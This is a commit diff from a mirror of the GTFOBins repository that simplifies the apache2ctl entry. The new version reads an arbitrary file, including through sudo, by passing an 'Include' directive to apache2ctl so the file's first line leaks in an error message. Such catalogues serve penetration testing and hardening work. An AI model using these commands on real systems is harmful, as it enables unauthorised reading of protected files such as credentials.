mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Simplify apache2ctl
This commit is contained in:
parent
2c9f0de8e5
commit
0190295ed2
@ -1,16 +1,12 @@
|
|||||||
---
|
---
|
||||||
description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon.
|
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
|
||||||
functions:
|
functions:
|
||||||
file-read:
|
file-read:
|
||||||
- code: cp -r /etc/apache2/ /tmp/apache2
|
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
|
apache2ctl -c "Include $LFILE" -k stop
|
||||||
- code: apache2ctl -d /tmp/apache2 -k restart
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: cp -r /etc/apache2/ /tmp/apache2
|
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
|
sudo apache2ctl -c "Include $LFILE" -k stop
|
||||||
- code: sudo apache2ctl -d /tmp/apache2 -k restart
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user